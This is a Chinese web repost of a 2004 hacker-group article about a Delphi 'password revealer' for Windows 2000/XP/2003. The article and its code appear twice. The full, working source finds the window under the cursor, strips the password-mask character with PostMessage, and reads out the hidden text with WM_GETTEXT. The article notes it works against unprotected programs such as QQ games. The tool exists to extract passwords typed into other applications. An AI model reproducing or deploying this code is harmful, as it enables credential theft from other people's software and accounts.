Win2000/XP/2003下的密码探测器

上一帖《Linux中系统服务/守护进程的详细说明》  下一帖《Windows图标－Icon文件格式分析。》

　　网上购物、在线购物、购物搜索 欢迎光临本站购买图书、影视、音乐、数码、百货，手机等商品。

　　Win2000/XP/2003下的密码探测器
　　作者：黄涛 来源：CnXHacker.Net 加入时间：2004-10-15 阅读次数：8927
　　在Win98下，对于别的程序的密码框，我们可以用SendMessage函数可以对这个密码框下一个WM_GETTEXT 的命令获取这个密码框的内容。但自2000以后，微软的安全意识似乎强了一点，用这个命令对普通的窗口管用，但对于密码框已经不起作用了。
　　有不少类似的程序是通过建立动态链接库的方式来获取，但是那样做太麻烦了，其实我们有更简便的作法。那就是对它先下一个命令，去除它的密码框的属性，然后再获取它的内容，最后恢复它密码框的属性。
　　{
　　项目 ：Win2000/XP/2003 下*号密码探测器
　　作者 ：黄涛 Hunter@Shentong.com.cn
　　日期 ：2004年1月18日
　　}
　　unit uPassword;
　　interface
　　uses
　　Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
　　Dialogs, StdCtrls, ExtCtrls;
　　type
　　TfrmPassword = class(TForm)
　　edPassword: TEdit; //显示密码的文本框
　　Timer1: TTimer;//定时器
　　procedure Timer1Timer(Sender: TObject);
　　private
　　{ Private declarations }
　　public
　　{ Public declarations }
　　end;
　　var
　　frmPassword: TfrmPassword;
　　implementation
　　{$R *.dfm}
　　procedure TfrmPassword.Timer1Timer(Sender: TObject);
　　var s:pchar;
　　i,n:integer;
　　p:Tpoint;h:integer;
　　c:integer;
　　begin
　　getcursorpos(p); //得到当前光标的位置
　　h:=windowfrompoint(p);//当到光标处窗口的句柄
　　n:=getwindowlong(h ,GWL_STYLE );//取窗口的属性
　　if (n and $20) <>0 then begin //判断是否为密码框
　　c:=sendMessage(h, EM_GETPASSWORDCHAR,0, 0);
　　//得到密码框当前的字符 如'*'等
　　PostMessage(h,EM_SETPASSWORDCHAR,0,0);
　　//设置密码框的字符为空，即去除密码框的密码属性,
　　//此处一定要用PostMessage,而不能用 SendMessage，用后者无效
　　i:= sendmessage(h,WM_GETTEXTLENGTH,0,0);inc(i);
　　//取得密码串的长度
　　getmem(s,i);//分配内存
　　sendmessage(h,WM_GETTEXT,i,longint(s)); //获取密码字符串
　　edPassword.Text := s;//将密码放入文本框中
　　postMessage(h,EM_SETPASSWORDCHAR,c,0); //恢复原来的密码属性
　　freemem(s);//释放内存
　　end;
　　end;
　　end.
　　本程序在 Window Server 2003,Delphi 7.0 Enterprise 下编译通过。但这个程序只对那些没有防范的程序有效，如QQ ganme 等，但对有些防范的程序来说还是无能为力的，如QQ2004 Beta的密码框是没用的。可见Win2000/XP/2003密码框的安全也是相对的，要想安全还要自己想办法。
　　※ 本文来源： 中国X黑客小组[CnXHacker.Net]作者： 黄涛 ※

Win2000/XP/2003下的密码探测器 作者：黄涛 来源：CnXHacker.Net 加入时间：2004-10-15 阅读次数：8927 在Win98下，对于别的程序的密码框，我们可以用SendMessage函数可以对这个密码框下一个WM_GETTEXT 的命令获取这个密码框的内容。但自2000以后，微软的安全意识似乎强了一点，用这个命令对普通的窗口管用，但对于密码框已经不起作用了。 　　有不少类似的程序是通过建立动态链接库的方式来获取，但是那样做太麻烦了，其实我们有更简便的作法。那就是对它先下一个命令，去除它的密码框的属性，然后再获取它的内容，最后恢复它密码框的属性。 { 　项目 ：Win2000/XP/2003 下*号密码探测器 　作者 ：黄涛 Hunter@Shentong.com.cn 　日期 ：2004年1月18日 } unit uPassword; interface uses 　Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 　Dialogs, StdCtrls, ExtCtrls; type 　TfrmPassword = class(TForm) 　　edPassword: TEdit;　　　　　　 //显示密码的文本框 　　Timer1: TTimer;　　　　　　　//定时器 　　procedure Timer1Timer(Sender: TObject); 　private 　　{ Private declarations } 　public 　　{ Public declarations } 　end; var 　frmPassword: TfrmPassword; implementation {$R *.dfm} procedure TfrmPassword.Timer1Timer(Sender: TObject); var s:pchar; 　i,n:integer; 　p:Tpoint;h:integer; 　c:integer; begin 　getcursorpos(p);　　　　 //得到当前光标的位置 　h:=windowfrompoint(p);　　　//当到光标处窗口的句柄 　n:=getwindowlong(h ,GWL_STYLE );　//取窗口的属性 　if (n and $20) <>0 then begin　　　 //判断是否为密码框 　　c:=sendMessage(h, EM_GETPASSWORDCHAR,0, 0); 　　//得到密码框当前的字符 如'*'等 　　PostMessage(h,EM_SETPASSWORDCHAR,0,0); 　　//设置密码框的字符为空，即去除密码框的密码属性, 　　 //此处一定要用PostMessage,而不能用 SendMessage，用后者无效 　　i:= sendmessage(h,WM_GETTEXTLENGTH,0,0);inc(i); 　　//取得密码串的长度 　　getmem(s,i);　　　//分配内存 　　sendmessage(h,WM_GETTEXT,i,longint(s)); //获取密码字符串 　　edPassword.Text := s;　　　　//将密码放入文本框中 　　postMessage(h,EM_SETPASSWORDCHAR,c,0); //恢复原来的密码属性 　　freemem(s);　//释放内存 　end; end; end. 　　本程序在 Window Server 2003　,Delphi 7.0 Enterprise 下编译通过。但这个程序只对那些没有防范的程序有效，如QQ ganme 等，但对有些防范的程序来说还是无能为力的，如QQ2004 Beta的密码框是没用的。可见Win2000/XP/2003密码框的安全也是相对的，要想安全还要自己想办法。 ※ 本文来源： 中国X黑客小组[CnXHacker.Net]　　作者： 黄涛 ※

 

标签: 2003  Win2000  XP  下的  密码  探测  

上一帖《Linux中系统服务/守护进程的详细说明》  下一帖《Windows图标－Icon文件格式分析。》

 

 

相关文章

• Apache Jakarta Common Configuration, 系统配置, 工具包
• 中文TTS 的简单实现（基于linux）之 前言
• 超酷超炫Linux: Linsta "媲美" Vista
• 关于tomcat内存泄漏问题
• 在Linux fedora 5上安装本地dictd server的方法
• 中文TTS 的简单实现（基于linux）之 实现语音合成
• 中文TTS 的简单实现（基于linux）之 语音库的实现
• Apache中预创建Preforking MPM 机制剖析(3)
• 自动安装Windows2000系统
• 中文Windows 2000登录安全漏洞